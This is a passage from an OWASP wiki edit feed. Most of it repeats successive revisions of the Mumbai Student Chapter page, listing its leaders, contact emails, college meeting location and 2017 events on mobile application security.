===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;__NOTOC__ &amp;lt;headertabs&amp;gt;&amp;lt;/headertabs&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  &lt;br /&gt;
[[Category:OWASP_Builders]] &lt;br /&gt;
[[Category:OWASP_Defenders]]  &lt;br /&gt;
[[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=233164</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=233164"/>
				<updated>2017-09-12T04:36:31Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Events Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  09-09-2017 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:00AM to 12:30:PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  News Bytes &lt;br /&gt;
  Digging more in Mobile applications&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  TBD&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=232910</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=232910"/>
				<updated>2017-09-06T06:52:50Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event==&lt;br /&gt;
Date : &lt;br /&gt;
  09-09-2017 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:00AM to 12:30:PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  News Bytes &lt;br /&gt;
  Digging more in Mobile applications&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  TBD&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=232909</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=232909"/>
				<updated>2017-09-06T06:48:17Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* OWASP Mumbai */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event==&lt;br /&gt;
Date : &lt;br /&gt;
  9-08-2017 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:00AM to 12:30:PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  News Bytes &lt;br /&gt;
  Digging more in Mobile applications&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  TBD&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=232908</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=232908"/>
				<updated>2017-09-06T06:47:21Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Event's Taken */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event==&lt;br /&gt;
Date : &lt;br /&gt;
  9-08-2017 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:00AM to 12:30:PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  News Bytes &lt;br /&gt;
  Digging more in Mobile applications&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  TBD&lt;br /&gt;
&lt;br /&gt;
==Previous' Meet==&lt;br /&gt;
&lt;br /&gt;
Photo :&lt;br /&gt;
  https://twitter.com/mishradhiraj_/status/876135764295204864&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=231934</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=231934"/>
				<updated>2017-07-31T14:47:11Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event's */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Event's Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  29-07-2017 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  8:30 AM to 10:15 AM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  News Bytes &lt;br /&gt;
  Building and Breaking Mobile Applications&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;br /&gt;
&lt;br /&gt;
==Previous' Meet==&lt;br /&gt;
&lt;br /&gt;
Photo :&lt;br /&gt;
  https://twitter.com/mishradhiraj_/status/876135764295204864&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=231855</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=231855"/>
				<updated>2017-07-26T05:19:36Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event's */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  29-07-2017 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  8:30 AM to 10:15 AM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  News Bytes &lt;br /&gt;
  Building and Breaking Mobile Applications&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;br /&gt;
&lt;br /&gt;
==Previous' Meet==&lt;br /&gt;
&lt;br /&gt;
Photo :&lt;br /&gt;
  https://twitter.com/mishradhiraj_/status/876135764295204864&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=231854</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=231854"/>
				<updated>2017-07-26T05:19:01Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event's */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what 